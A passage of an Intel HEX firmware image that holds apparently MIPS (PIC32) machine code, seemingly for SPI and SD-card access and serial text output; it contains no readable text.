:104010000100022421e8c0037400bf8f7000be8f2e
:104020007800bd270800e00300000000b8ffbd27ae
:104030004400bfaf4000beaf21f0a0034800c4afb2
:104040004c00c5af1800c22721204000cbce400f46
:1040500000000000040040100000000021100000db
:1040600056d0400b000000004c00c28f0000428080
:104070000400401400000000059d023c40fd422465
:104080004c00c2af1800c22721204000059d023c11
:104090003cfd452402000624214b410f0000000096
:1040a0001a00c227212040004c00c58f2ab9400fba
:1040b000000000003a00c0a31800c22721204000e1
:1040c0007b4b410f00000000ff0042301000a0af0a
:1040d0001400a0af212000001800c3272128600091
:1040e000213040002138000038ce400f0000000091
:1040f00004004014000000002110000056d0400bc6
:10410000000000001800c22721204000cbce400f45
:104110000000000004004014000000002110000016
:1041200056d0400b0000000001000224988082afae
:1041300000a0023cf06a44244c00c58f574a410f4e
:10414000000000004800c48f4c00c58f574a410f43
:10415000000000000100022421e8c0034400bf8fda
:104160004000be8f4800bd270800e00300000000ab
:1041700098ffbd276400bfaf6000beaf21f0a00371
:104180006800c4af3400c0af300002243100c2a3c5
:1041900011d1400b00000000100002243200c2a325
:1041a0000ad1400b000000000a0002243000c2a324
:1041b00003d1400b0000000000a0023cdc5642246a
:1041c00001000324cc0043ac010002243800c2af3c
:1041d0002b15410f000000000400401000000000fb
:1041e0003400c28f1cd1400b000000003000c3938c
:1041f00000a0023cdc564224e00043ac3100c393f3
:1042000000a0023cdc564224e80043ac3200c393d9
:1042100000a0023cdc564224e40043ac3c00c22730
:1042200021204000c62c410f0000000000a0023ced
:10423000dc5642249c00478c00a0023cdc56422401
:10424000e000468c00a0023cdc564224e400458c91
:1042500000a0023cdc564224e800448c00a0023c52
:10426000dc564224e000438c00a0023cdc56422491
:10427000f400428c040008241000a8af1400a7af7b
:104280001800a6af1c00a0af2000a5af2400a4af6b
:104290002800a3af2c00a2af059d023c4cfd442496
:1042a000050005242130000001000724023c410fd5
:1042b0000000000000a0023cdc564224cc0040acd0
:1042c00000a0023cdc5642249c00448c00a0023c2e
:1042d000dc564224a400458c00a0023cdc5642245b
:1042e000b000428c00a0033cdc5663248c00668c3a
:1042f0003c00c32700a0073c9957e7241000a7af54
:104300001400a0af1800a6af1c00a0af0100062447
:104310002000a6af21306000213840008dff400f03
:10432000000000002118400000a0023cdc5642249e
:10433000b000428c32006214000000003c00c22732
:1043400021204000059d023c54fd4524544e410f60
:104350000000000002004010000000003800c0af64
:1043600000a0023cdc56422401000324cc0043acf4
:104370003800c28f22004010000000003c00c2271d
:1043800021204000c62c410f000000001c004010fe
:10439000000000003c00c22721204000212800002e
:1043a00011cf400f00000000150040100000000079
:1043b0003000c293059d033c68fd64242128400021
:1043c0006913410f000000003100c293059d033cba
:1043d00080fd6424212840006913410f0000000083
:1043e0003200c293059d033c88fd642421284000cf
:1043f0006913410f00000000010002243400c2af25
:104400003000c293010042243000c2a33000c293a6
:104410003300422c68ff4014000000003200c293b9
:10442000010042243200c2a33200c2932000422c79
:104430005dff4014000000003100c29301004224df
:104440003100c2a33100c2934000422c52ff4014fd
:1044500000000000059d023c94fd4424059d023ca3
:1044600098fd45240413410f000000003400c28f62
:1044700021e8c0036400bf8f6000be8f6800bd27c5
:104480000800e00300000000e0ffbd271c00bfaff4
:104490001800beaf21f0a0032000c4af2400c5afb8
:1044a0002000c48f8db7400f000000001000c2af85
:1044b000059d023c9cfd44242000c58f0413410f40
:1044c000000000001000c38f0800023c24106200ae
:1044d000c21402000500401000000000059d023ccf
:1044e000bcfd42243dd1400b00000000059d023c74
:1044f000c4fd4224059d033cccfd642421284000da
:104500000413410f000000001000c38f0400023ca0
:104510002410620082140200050040100000000018
:10452000059d023cbcfd42244ed1400b0000000022
:10453000059d023cc4fd4224059d033ce8fd642426
:10454000212840000413410f000000001000c38f19
:104550000300023c00f04234241062000213020007
:10456000059d033c04fe6424212840006913410f8b
:10457000000000001000c38f0300023c00f0423432
:1045800024106200021302000100422440100200c5
:10459000059d033c20fe6424212840006913410f3f
:1045a000000000001000c28f00084230c21202005a
:1045b0000500401000000000059d023cbcfd4224a7
:1045c00074d1400b00000000059d023cc4fd422454
:1045d000059d033c2cfe6424212840000413410f58
:1045e000000000001000c28f00044230821202005e
:1045f0000500401000000000059d023cbcfd422467
:1046000084d1400b00000000059d023cc4fd422403
:10461000059d033c48fe6424212840000413410ffb
:10462000000000001000c28f00034230021202009e
:10463000059d033c64fe6424212840006913410f5a
:10464000000000001000c28f00034230021a020076
:10465000059d023c34fd422421106200000042907e
:10466000059d033c20fe6424212840006913410f6e
:10467000000000001000c28f80004230c211020012
:104680000500401000000000059d023cbcfd4224d6
:10469000a8d1400b00000000059d023cc4fd42244f
:1046a000059d033c80fe6424212840000413410f33
:1046b000000000001000c28f7000423002110200a2
:1046c000059d033c9cfe6424212840006913410f92
:1046d000000000001000c28f70004230021902007a
:1046e00000a0023c8018030078724224211062006e
:1046f0000000428c059d033cb8fe64242128400044
:104700000413410f000000001000c28f0e00423061
:1047100042100200059d033cc0fe64242128400095
:104720006913410f000000001000c28f01004230e9
:104730000500401000000000059d023cbcfd422425
:10474000d4d1400b00000000059d023cc4fd422472
:10475000059d033cdcfe6424212840000413410f26
:1047600000000000059d023cf8fe44242400c58f93
:104770000413410f000000002400c48f040005242e
:104780005cb7400f00000000059d023c94fd4424ee
:10479000059d023c98fd45240413410f00000000d4
:1047a0000100022421e8c0031c00bf8f1800be8f47
:1047b0002000bd270800e00300000000e0ffbd2747
:1047c0001c00bfaf1800beaf21f0a0032000c4af93
:1047d0002000c48f8db7400f000000001000c2af52
:1047e0001000c38ffcff023cff0f4234241862000c
:1047f00000a0023cdc564224a400428cfeff42246e
:1048000042100200002302000300023c00f0423488
:1048100024108200251062001000c2af00a0023cec
:10482000dc564224a800428c1400c2a31400c29398
:104830001a004010000000001400c393020002247c
:1048400004006214000000001400c0a31fd2400b3b
:10485000000000001400c393040002240500621449
:1048600000000000010002241400c2a31fd2400b6c
:1048700000000000020002241400c2a31000c38f35
:10488000fffc0224241862001400c29300120200ec
:1048900000034230251062001000c2af00a0023cad
:1048a000dc564224cc00428c0a004010000000007c
:1048b00000a0023cdc564224a000439001000224e8
:1048c00004006214000000001400c0a373d2400b67
:1048d0000000000000a0023cdc564224c400428cd0
:1048e0000b0040100000000000a0023cdc564224f7
:1048f000a0004390010002240500621400000000a3
:10490000060002241400c2a373d2400b0000000072
:1049100000a0023cdc564224a00042900700432c39
:10492000270060100000000080180200039d023c78
:1049300044494224211062000000428c08004000db
:1049400000000000c049039d6049039d7049039d1c
:104950008049039d9049039da049039db049039d53
:10496000070002241400c2a373d2400b0000000011
:10497000040002241400c2a373d2400b0000000004
:10498000050002241400c2a373d2400b00000000f3
:10499000010002241400c2a373d2400b00000000e7
:1049a000020002241400c2a373d2400b00000000d6
:1049b000030002241400c2a373d2400b00000000c5
:1049c000211000008bd2400b000000001000c38fac
:1049d0008fff0224241862001400c2930011020009
:1049e00070004230251062001000c2af1000c38f6b
:1049f000f1ff02242418620000a0023cdc5642248d
:104a0000b000428c42110200401002000e00423001
:104a1000251062001000c2af2000c48f1000c58fa7
:104a200090b6400f000000000100022421e8c003fe
:104a30001c00bf8f1800be8f2000bd270800e003b8
:104a400000000000e8ffbd271400bfaf1000beaf9c
:104a500021f0a0031800c4af2110a0001c00c2a3c5
:104a60001c00c2931600432c570060100000000089
:104a700080180200039d023c8c4a422421106200ef
:104a80000000428c0800400000000000c84b039d5d
:104a9000e44a039de44a039de44a039de44a039dde
:104aa000e44a039de44a039dc84b039dc84b039d04
:104ab000a44b039da44b039d144b039d5c4b039d92
:104ac000804b039da44b039d384b039dc84b039d16
:104ad000144b039dc84b039dc84b039dc84b039dbe
:104ae000a44b039d1800c48f059d023c18ff45246c
:104af00008000624214b410f000000001800c48f5d
:104b0000efd1400f0000000001000224f3d2400b5f
:104b1000000000001800c48f059d023c24ff4524be
:104b200008000624214b410f000000000100022470
:104b3000f3d2400b000000001800c48f059d023c1a
:104b400030ff452408000624214b410f00000000df
:104b500001000224f3d2400b000000001800c48fb3
:104b6000059d023c3cff452408000624214b410fd3
:104b70000000000001000224f3d2400b00000000fe
:104b80001800c48f059d023c48ff452408000624f8
:104b9000214b410f0000000001000224f3d2400b22
:104ba000000000001800c48f059d023c18ff45243a
:104bb00008000624214b410f0000000001000224e0
:104bc000f3d2400b000000002110000021e8c003d8
:104bd0001400bf8f1000be8f1800bd270800e0032f
:104be0000000000078ffbd278400bfaf8000beaf8b
:104bf00021f0a0038800c4af8c00c5af9000c6af01
:104c00001400c0af1000c0afd3d4400b00000000b0
:104c10003400c2271c00c2af1800c0af4dd3400bf8
:104c2000000000001000c28f801002008c00c38fb3
:104c3000211062000000428c6400422c3a004014b3
:104c4000000000001000c28f801002008c00c38f93
:104c5000211062000000428c0102422c3200401000
:104c6000000000001c00c38f3400c227231862001c
:104c700045000224030062140000000052d3400be0
:104c8000000000001000c28f801002008800c38f57
:104c9000211062000000428c0102422c1d004010d5
:104ca000000000001000c28f801002008800c38f37
:104cb000211062000000428c212040008000052469
:104cc000140006244eb5400f0000000008004010fc
:104cd000000000001c00c28f010043241c00c3af71
:104ce00030000324000043a041d3400b000000002b
:104cf0001c00c28f010043241c00c3af31000324f9
:104d0000000043a0010002241800c2af4ad3400ba8
:104d1000000000001000c28f010042241000c2af4a
:104d200052d3400b000000001000c28f010042244b
:104d30001000c2af1000c38f9000c28f2b10620012
:104d4000b8ff4014000000001c00c28f000040a00b
:104d50001800c28f7d014010000000003400c227ff
:104d6000212040007b4b410f00000000060003247f
:104d70005c004310000000000700432c0900601095
:104d80000000000002000324110043100000000096
:104d9000050003243a00431000000000cad4400b71
:104da0000000000026000324a400431000000000bf
:104db00046000324130143100000000022000324d6
:104dc0007600431000000000cad4400b0000000031
:104dd0003400c22721204000059d023c38fd4524b7
:104de000020006240954410f00000000090040148d
:104df000000000003400c227059d033c54ff6424da
:104e0000212840000413410f000000009ed3400bf6
:104e1000000000003400c22721204000059d023c14
:104e20006cff4524020006240954410f00000000d5
:104e300009004014000000003400c227059d033c17
:104e400070ff6424212840000413410f000000007b
:104e50009ed3400b000000003400c227059d033c98
:104e60007cff6424212840000413410f000000004f
:104e7000d1d4400b00000000d1d4400b0000000052
:104e80003400c22721204000059d023c4cfd4524f2
:104e9000050006240954410f0000000009004014d9
:104ea000000000003400c227059d033c8cff6424f1
:104eb000212840000413410f00000000d1d4400b12
:104ec000000000003400c227059d033c7cff6424e1
:104ed000212840000413410f00000000d1d4400bf2
:104ee000000000003400c22721204000059d023c44
:104ef0003cfd4524020006240954410f0000000037
:104f00001e004014000000003400c227059d033c31
:104f1000a4ff6424212840000413410f0000000076
:104f20003400c22702004224059d033cbcff6424d8
:104f3000212840000413410f000000002000c32777
:104f40003400c227030042242120600021284000b1
:104f5000adb9400f000000002000c227059d033cb2
:104f6000c4ff6424212840000413410f0000000006
:104f70000c8180afd1d4400b000000003400c22768
:104f8000059d033c7cff6424212840000413410f4d
:104f900000000000d1d4400b000000003400c22704
:104fa00021204000059d023c3cfd452402000624d2
:104fb0000954410f000000001800401400000000d8
:104fc0003400c227059d033cccff64242128400007
:104fd0000413410f000000002000c3273400c22743
:104fe000020042242120600021284000adb9400f7a
:104ff000000000002000c227059d033cd8ff642468
:10500000212840000413410f000000000100022489
:105010000c8182afd1d4400b000000003400c227c5
:10502000059d033c7cff6424212840000413410fac
:1050300000000000d1d4400b000000000c81828fe2
:1050400033004010000000003400c227212040003f
:10505000059d023c3cfd4524020006240954410ff5
:10506000000000002a004014000000003400c227a5
:10507000059d033ce0ff6424212840000413410ff8
:10508000000000002000c3273400c2270200422491
:105090002120600021284000adb9400f0000000031
:1050a0002000c227059d033cfcff6424212840000a
:1050b0000413410f000000003400c22722004224e4
:1050c000059d033cbcff6424212840000413410fcc
:1050d000000000002000c3273400c2272300422420
:1050e0002120600021284000adb9400f00000000e1
:1050f0002000c227059d033c0400642421284000b1
:105100000413410f00000000d1d4400b0000000048
:105110000c81828f33004014000000003400c2274d
:1051200021204000059d023c3cfd45240200062450
:105130000954410f000000002a0040140000000044
:105140003400c227059d033c0c0064242128400044
:105150000413410f000000003400c2270200422463
:10516000059d033cbcff6424212840000413410f2b
:10517000000000002000c3273400c227030042249f
:105180002120600021284000adb9400f0000000040
:105190002000c227059d033cfcff64242128400019
:1051a0000413410f000000002000c3273400c22771
:1051b000230042242120600021284000adb9400f87
:1051c000000000002000c227059d033c0400642469
:1051d000212840000413410f00000000d1d4400bef
:1051e000000000003400c227059d033c7cff6424be
:1051f000212840000413410f00000000d1d4400bcf
:10520000000000003400c22721204000059d023c20
:105210003cfd4524020006240954410f0000000013
:1052200039004014000000003400c227059d033cf3
:105230001c006424212840000413410f00000000da
:105240002000c3273400c22702004224212060002e
:1052500021284000adb9400f000000002000c22707
:10526000059d033cfcff6424212840000413410fea
:10527000000000003400c22722004224059d033ca8
:10528000bcff6424212840000413410f00000000eb
:105290002000c3273400c2272300422421206000bd
:1052a00021284000adb9400f000000002000c227b7
:1052b000059d033cfcff6424212840000413410f9a
:1052c000000000002000c3273400c227430042240e
:1052d0002120600021284000adb9400f00000000ef
:1052e0002000c227059d033c0400642421284000bf
:1052f0000413410f00000000010002240c8182af62
:10530000d1d4400b000000003400c227059d033caf
:105310007cff6424212840000413410f000000009a
:10532000d1d4400b000000003400c227059d033c8f
:105330007cff6424212840000413410f000000007a
:1053400000000000010002241400c2af1000c38f4f
:105350009000c28f2b1062002dfe40140000000050
:10536000059d023c94fd4424059d023c98fd452486
:105370000413410f000000001400c28f21e8c00395
:105380008400bf8f8000be8f8800bd270800e00327
:1053900000000000f8ffbd270400beaf21f0a0030d
:1053a00088bf023c5061428c010042300100422c17
:1053b000ff00423021e8c0030400be8f0800bd2773
:1053c0000800e00300000000f8ffbd270400beafa6
:1053d00021f0a0033e81829721e8c0030400be8f24
:1053e0000800bd270800e00300000000f8ffbd270b
:1053f0000400beaf21f0a0033881828f21e8c003f2
:105400000400be8f0800bd270800e0030000000074
:10541000f8ffbd270400beaf21f0a00388bf033c06
:1054200040616294010004240400827c406162a413
:1054300088bf033ce060629401000424444a827cfb
:10544000e06062a488bf033cc0606294444a027c6e
:10545000c06062a488bf033c4061629401000424e0
:105460004408827c406162a421e8c0030400be8f2e
:105470000800bd270800e00300000000e8ffbd278a
:105480001400bfaf1000beaf21f0a003fdd8400f45
:105490000000000088bf033ce06062940100042427
:1054a000444a827ce06062a42110000021e8c0032d
:1054b0001400bf8f1000be8f1800bd270800e00346
:1054c00000000000c8ffbd273400bfaf3000beaff2
:1054d00021f0a0033800c4af2110a0004000c6afe7
:1054e0003c00c2a388bf033ce0606294444a027c53
:1054f000e06062a43c00c293059d043c8010020061
:105500008018020023186200a04282242110620049
:10551000000042902800c2a34000c28f2400c2af06
:105520003c00c293059d043c8010020080180200dc
:1055300023186200a04282242110620001004290e0
:105540002000c2a32800c293010003248431627c9e
:105550002800c2a32800c293212040000ad9400f8e
:10556000000000002700c293212040000ad9400f0c
:10557000000000002600c293212040000ad9400ffd
:10558000000000002500c293212040000ad9400fee
:10559000000000002400c293212040000ad9400fdf
:1055a000000000002000c293212040000ad9400fd3
:1055b000000000003c00c3930500022403006214b5
:1055c0000000000023d9400f000000001400022456
:1055d0001000c2a723d9400f000000001800c2a38a
:1055e0001000c297ffff42241000c2a71800c39307
:1055f000ff00022404006214000000001000c297a3
:10560000f4ff4014000000003c00c293059d033ce1
:10561000a042632480100200802002002310820038
:10562000211062000400438c02000224080062146e
:10563000000000001800c2931900c2a323d9400f34
:10564000000000001800c2a3c7d5400b00000000f6
:105650003c00c293059d033ca042632480100200dd
:105660008020020023108200211062000400438c7d
:105670000100022412006214000000000a00023c33
:105680001400c2af23d9400f000000001800c2a3cd
:105690001400c28fffff42241400c2af1800c2934f
:1056a00004004014000000001400c28ff5ff4014f5
:1056b000000000001800c0a3c7d5400b0000000088
:1056c0003c00c293059d033ca0426324801002006d
:1056d0008020020023108200211062000400438c0d
:1056e000040002240d0062140000000023d9400fc2
:1056f000000000001f00c2a323d9400f00000000db
:105700001e00c2a323d9400f000000001d00c2a349
:1057100023d9400f000000001c00c2a3ff00042496
:105720000ad9400f000000003c00c293059d043cd4
:10573000801002008018020023186200a042822418
:105740002110620008004290060040140000000092
:1057500088bf033ce060629401000424444a827cd8
:10576000e06062a43800c28f1800c48f1c00c38f91
:10577000000044ac040043ac3800c28f21e8c003f1
:105780003400bf8f3000be8f3800bd270800e00313
:1057900000000000d0ffbd272c00bfaf2800beaf27
:1057a00021f0a0033000c4af3400c5af00020224d2
:1057b0001400c2a7000202241800c2af3400c28f36
:1057c0001c00c2af3000c28f2000c2af0100022413
:1057d0002400c2a31400c227212040000fd6400f8e
:1057e000000000001000c2a31000c2930400401487
:1057f000000000000100022409d6400b0000000058
:105800001000c393ff000224040062140000000093
:105810002110000009d6400b00000000f5d5400b18
:105820000000000021e8c0032c00bf8f2800be8fbd
:105830003000bd270800e00300000000d0ffbd27b6
:105840002c00bfaf2800beaf21f0a0033000c4afd2
:105850003000c28f10004290020003248a004310df
:105860000000000003004328080060100000000052
:105870000e00401000000000010003240e00431041
:10588000000000002cd7400b0000000003000324a0
:105890005700431000000000fe000324f7004310ef
:1058a000000000002cd7400b000000002110000079
:1058b00035d7400b0000000000020224568082a76a
:1058c00000a0023c3000c38f0000648c0400678c91
:1058d0000800668c0c00658c1000638c0c7244ac64
:1058e0000c724424040087ac0c724424080086ac7b
:1058f0000c7244240c0085ac0c724224100043aca2
:105900003c818293080040140000000000a0023c8b
:105910000c7242240c00428c401a020000a0023c8f
:105920000c7242240c0043ac00a0023c0c724224d6
:105930000400428c0102422c0e00401000000000c6
:1059400001000224588082af00a0023c0c72422465
:105950000c00428c1800c327212060000800052499
:105960002130400031d5400f000000006bd6400bc5
:1059700000000000588080af00a0023c0c7242245e
:105980000c00428c2000c327212060000900052460
:105990002130400031d5400f000000002000c38faf
:1059a0002400c28f1800c3af1c00c2af1800c293fe
:1059b00007004010000000003000c28ffeff0324eb
:1059c000100043a00100022435d7400b0000000066
:1059d0000400023c5c8082af3000c28f03000324cd
:1059e000100043a00100022435d7400b0000000046
:1059f0005c80828f1e004010000000005c80828f5f
:105a0000ffff42245c8082af23d9400f00000000da
:105a10001600c2a31600c393ff00022411006210f7
:105a2000000000001600c393fe0002240700621469
:105a3000000000003000c28f02000324100043a0c9
:105a40000200022435d7400b000000003000c28f56
:105a5000feff0324100043a00100022435d7400bb1
:105a6000000000000100022435d7400b00000000b8
:105a70003000c28ffeff0324100043a00100022467
:105a800035d7400b0000000000a0023c0c724224fd
:105a90000400428c63004010000000003000c28f00
:105aa0000000439400a0023c0c7243a43000c28f5b
:105ab0000800438c00a0023c0c724224080043ac56
:105ac00000a0023c0c7242240400438c00a0023c63
:105ad0000c7242942318620000a0023c0c72422413
:105ae000040043ac5680839700a0023c0c724294a1
:105af00023106200ffff4230568082a700a0023cc4
:105b00000c7242240800428c1000c2af00a0023c7c
:105b10000c7242941400c2a71400c2972a004010cd
:105b2000000000001000c28fffff42241000c2af2f
:105b300080bf023cff000324205e43ac1000c28ff4
:105b4000010042241000c2af1400c297ffff42249c
:105b50001400c2a71400c297040040140000000003
:105b600000000000e8d6400b00000000000000002c
:105b700080bf023c105e428c01004230fcff4010ae
:105b80000000000080bf023c205e428cff004330da
:105b90001000c28f000043a0ccd6400b00000000d4
:105ba00080bf023c105e428c01004230fcff40107e
:105bb0000000000080bf023c205e428cff004330aa
:105bc0001000c28f000043a056808297120040143c
:105bd0000000000023d9400f0000000023d9400f2f
:105be0000000000000a0023c0c7242240400428c21
:105bf00004004010000000003000c28f03000324a6
:105c0000100043a000020224568082a70100022453
:105c100035d7400b000000000200022435d7400bae
:105c2000000000005880828f070040140000000030
:105c30002000c2272120400005000524213000005b
:105c400031d5400f0000000088bf033ce060629443
:105c500001000424444a827ce06062a4ff00042422
:105c60000ad9400f000000003000c28f100040a091
:105c70002110000035d7400b000000003000c28f1b
:105c8000ffff0324100043a02000c2272120400072
:105c9000050005242130000031d5400f0000000030
:105ca0002000c38f2400c28f1800c3af1c00c2aff6
:105cb00088bf033ce060629401000424444a827c73
:105cc000e06062a4ff0004240ad9400f0000000035
:105cd000ff00022421e8c0032c00bf8f2800be8fe4
:105ce0003000bd270800e00300000000c8ffbd270a
:105cf0003400bfaf3000beaf21f0a0033800c4af06
:105d00003800c28f10004290020003247800431034
:105d1000000000000300432808006010000000009d
:105d20001100401000000000010003241100431086
:105d30000000000093d8400b000000000400032482
:105d4000150143100000000004004328d000601437
:105d500000000000fe0003242b014310000000009f
:105d600093d8400b000000002110000094d8400b95
:105d70000000000000020224608082a700a0023c14
:105d80003800c38f0000648c0400678c0800668ca8
:105d90000c00658c1000638c0c7244ac0c724424b3
:105da000040087ac0c724424080086ac0c724424b6
:105db0000c0085ac0c724224100043ac00a0023ce5
:105dc0000c7242240400428c0102422c0500401057
:105dd000000000000a000224628082a395d7400bd5
:105de000000000000b000224628082a300a0023c9d
:105df0000c7242240400428c421202001000c2af16
:105e00001000c28f04004014000000001000c28f78
:105e1000010042241000c2af1c00c2272120400014
:105e20000f0005242130000031d5400f0000000094
:105e30001c00c29307004014000000002800c22785
:105e400021204000130005241000c68f31d5400fdb
:105e5000000000003c818293080040140000000014
:105e600000a0023c0c7242240c00428c401a02003a
:105e700000a0023c0c7242240c0043ac628082936e
:105e80002118400000a0023c0c7242240c00428cfd
:105e90002800c427212860002130400031d5400f60
:105ea000000000002800c38f2c00c28f1c00c3af6d
:105eb0002000c2af1c00c293070040100000000089
:105ec0003800c28fffff0324100043a0ff0002240c
:105ed00094d8400b000000003800c28f0200032459
:105ee000100043a00200022494d8400b00000000e0
:105ef00060808397000202240d00621400000000fd
:105f0000628083930b0002240600621400000000ec
:105f1000fc0004240ad9400f00000000ccd7400b3d
:105f200000000000fe0004240ad9400f0000000019
:105f30003800c28f0000439400a0023c0c7243a4be
:105f40003800c28f0800438c00a0023c0c7242242f
:105f5000080043ac00a0023c0c7242240400438cb5
:105f600000a0023c0c7242942318620000a0023c84
:105f70000c724224040043ac6080839700a0023c72
:105f80000c72429423106200ffff4230608082a7af
:105f900000a0023c0c7242240800428c1400c2afe4
:105fa00000a0023c0c7242941800c2a71400c28fd9
:105fb000010043241400c3af0000429021184000a8
:105fc00080bf023c205e43ac1800c297ffff422412
:105fd0001800c2a70000000080bf023c105e428c87
:105fe00001004230fcff40100000000080bf023c76
:105ff000205e428cff004230638082a31800c2976b
:10600000eaff401400000000608082971d004014e9
:106010000000000000020224608082a7ff00042428
:106020000ad9400f00000000ff0004240ad9400fe5
:106030000000000023d9400f000000001f00433083
:106040000500022407006210000000003800c28f23
:10605000feff0324100043a00300022494d8400b49
:10606000000000003800c28f03000324100043a08a
:106070000a00023c648082af0300022494d8400be3
:10608000000000000200022494d8400b0000000031
:106090006480828f3a004010000000006480828f8c
:1060a000ffff4224648082afff0004240ad9400f1e
:1060b0000000000023d9400f00000000638082a38d
:1060c000638082932b0040100000000000a0023c7f
:1060d0000c7242240400428c200040140000000096
:1060e0000a00023c648082af628083930b0002242a
:1060f0000d00621400000000fd0004240ad9400fc6
:1061000000000000ff0004240ad9400f0000000036
:106110003800c28f04000324100043a003000224af
:1061200094d8400b0000000088bf033ce0606294fc
:1061300001000424444a827ce06062a4ff0004243d
:106140000ad9400f000000003800c28f100040a0a4
:106150002110000094d8400b000000003800c28fce
:1061600002000324100043a00200022494d8400b34
:10617000000000000300022494d8400b000000003f
:106180003800c28ffeff0324100043a00300022446
:1061900094d8400b000000006480828f1a004010e9
:1061a000000000006480828fffff4224648082af81
:1061b00023d9400f00000000638082a36380829394
:1061c0000e0040100000000088bf033ce0606294b5
:1061d00001000424444a827ce06062a4ff0004249d
:1061e0000ad9400f000000003800c28f100040a004
:1061f0002110000094d8400b00000000030002248e
:1062000094d8400b000000002800c2272120400045
:10621000050005242130000031d5400f00000000aa
:1062200088bf033ce060629401000424444a827cfd
:10623000e06062a4ff0004240ad9400f00000000bf
:106240003800c28fffff0324100043a0ff00022488
:1062500021e8c0033400bf8f3000be8f3800bd2757
:106260000800e00300000000e0ffbd271c00bfaff6
:106270001800beaf21f0a0032000c4af2400c5afba
:106280002110c0002800c2a32800c29307004014b8
:10629000000000002000c28f040040140000000035
:1062a00021100000d2d8400b0000000000a0023cea
:1062b00000020324207243a400a0023c2072422466
:1062c00000020324040043ac00a0023c20724224dc
:1062d0002400c38f080043ac00a0023c207242247b
:1062e0002000c38f0c0043ac00a0023c207242246b
:1062f00001000324100043a000a0023c20724424ab
:106300003bd7400f000000001000c2a31000c29352
:10631000040040140000000001000224d2d8400b09
:10632000000000001000c393ff0002240400621468
:106330000000000021100000d2d8400b0000000037
:10634000bed8400b0000000021e8c0031c00bf8f36
:106350001800be8f2000bd270800e00300000000e9
:10636000f8ffbd270400beaf21f0a00388bf023ca8
:106370005061428c4000427cff00423021e8c00363
:106380000400be8f0800bd270800e00300000000e5
:10639000f0ffbd270c00beaf21f0a003211080004c
:1063a0001000c2a31000c293f3d8400b0000c2a398
:1063b0000b2702240400c2af000000000400c28fbb
:1063c000ffff4324fdff40140400c3af0000c2934d
:1063d000ffff4324f6ff40140000c3a34000000069
:1063e0000000000021e8c0030c00be8f0800e0039d
:1063f0001000bd27f8ffbd270400beaf21f0a003a9
:1064000080bf023c105e428cff7f433080bf023c65
:10641000105e43ac21e8c0030400be8f0800bd2716
:106420000800e00300000000e0ffbd271c00bfaf34
:106430001800beaf21f0a003211080002000c2a3ed
:106440000000000080bf023c105e428c0800423019
:10645000fcff4010000000002000c39380bf023cfe
:10646000205e43ac1159410f000000001000c2a390
:106470002110000021e8c0031c00bf8f1800be8f50
:106480002000bd270800e00300000000e8ffbd2752
:106490001400bfaf1000beaf21f0a0030000000049
:1064a00080bf023c105e428c08004230fcff40106e
:1064b0000000000080bf023cff000324205e43accc
:1064c0001159410f00000000ff00423021e8c003d5
:1064d0001400bf8f1000be8f1800bd270800e00316
:1064e00000000000e8ffbd271400beaf21f0a003ac
:1064f0001800c4af80bf023c105e40acc404023c34
:1065000000b442340000c2af3101023c002d4234dd
:106510000400c2af0400c28f401002000000c38f0d
:106520001b006200f4014000101000001210000077
:106530000800c2af0400c28f401002000000c38fe9
:106540001b006200f4014000101000000400401025
:10655000000000000800c28f010042240800c2af02
:106560000800c28f0101422c03004014000000000b
:10657000000102240800c2af0800c28f04004010ce
:10658000000000000800c28fffff42240800c2afd5
:106590000800c28fff0042302118400080bf023c3b
:1065a000305e43ac80bf033c005e628c010004247b
:1065b0008431827c005e62ac80bf033c005e628cf2
:1065c0000442027c005e62ac88bf033cc0606294ff
:1065d0008452027cc06062a488bf033cc0606294a5
:1065e0000400027cc06062a488bf033c80606294a7
:1065f000010004240421827c806062a480bf033ceb
:10660000005e628c01000424c47b827c005e62ac6c
:1066100021e8c0031400be8f1800bd270800e00366
:1066200000000000d8ffbd272400bfaf2000beaf90
:1066300021f0a00320030424008005344b56410fb1
:1066400000000000c404023c00b442341000c2af99
:106650000600023c801a42341400c2af1400c28ffc
:10666000401002001000c38f1b006200f4014000c4
:1066700010100000121000001800c2af1400c28fea
:10668000401002001000c38f1b006200f4014000a4
:106690001010000004004010000000001800c28f1d
:1066a000010042241800c2af1800c28f0101422c21
:1066b0000300401400000000000102241800c2afd3
:1066c0001800c28f04004010000000001800c28fa4
:1066d000ffff42241800c2af1800c28fff004230f3
:1066e0002118400080bf023c305e43ac21e8c0036b
:1066f0002400bf8f2000be8f2800bd270800e003c4
:1067000000000000b0ffbd274c00bfaf4800beaf87
:106710004400b0af21f0a003508080a3518080a33b
:10672000388180af3c8180a388bf033ce0606294e5
:1067300001000424444a827ce06062a489d9400fad
:10674000000000001e000424e4d8400f00000000f8
:1067500088bf033ce060629401000424444a827cc8
:10676000e06062a41000c0a7e2d9400b0000000066
:10677000ff0004240ad9400f000000001000c29757
:10678000010042241000c2a71000c2970a00422c48
:10679000f7ff401400000000640002241000c2a7ac
:1067a00088bf033ce060629401000424444a827c78
:1067b000e06062a4ff0004240ad9400f000000003a
:1067c00088bf033ce0606294444a027ce06062a4bb
:1067d0001000c297ffff42241000c2a71c00c2276e
:1067e00021204000212800002130000031d5400f39
:1067f000000000001c00c39301000224040062108a
:10680000000000001000c297e5ff401400000000e7
:106810001000c2972a0040140000000088bf033c0b
:10682000e060629401000424444a827ce06062a437
:10683000ff0004240ad9400f0000000088bf033c79
:10684000e0606294444a027ce06062a43800c2279f
:1068500021204000050005242130000031d5400fe3
:10686000000000003800c38f3c00c28f1c00c3af83
:106870002000c2af3800c22721204000212800009c
:106880002130000031d5400f000000003800c38fd8
:106890003c00c28f1c00c3af2000c2af1c00c393da
:1068a0000100022406006210000000000200022421
:1068b000508082a3508082275edb400b00000000e6
:1068c0003800c2272120400002000524aa01062426
:1068d00031d5400f000000003800c38f3c00c28f4c
:1068e0001c00c3af2000c2af2000c28fff0f433097
:1068f000aa0102244a006214000000001c00c28f9a
:106900000400423046004014000000003800c22756
:1069100021204000100005242130000031d5400f17
:10692000000000003800c38f3c00c28f1c00c3afc2
:106930002000c2af1000c0a768da400b00000000c2
:106940003800c227212040000f000524213000001c
:1069500031d5400f000000003800c2272120400040
:10696000120005240040063c31d5400f0000000015
:106970003800c38f3c00c28f1c00c3af2000c2afe1
:106980001c00c29303004014000000006cda400bae
:10699000000000001000c297010042241000c2a7ae
:1069a0001000c397ffff0234e5ff621400000000ef
:1069b0001000c397ffff02340300621400000000c0
:1069c00002000224508082a33800c2272120400008
:1069d000100005242130000031d5400f00000000d8
:1069e0003800c38f3c00c28f1c00c3af2000c2af71
:1069f0002000c38f0040023c2410620005004010bc
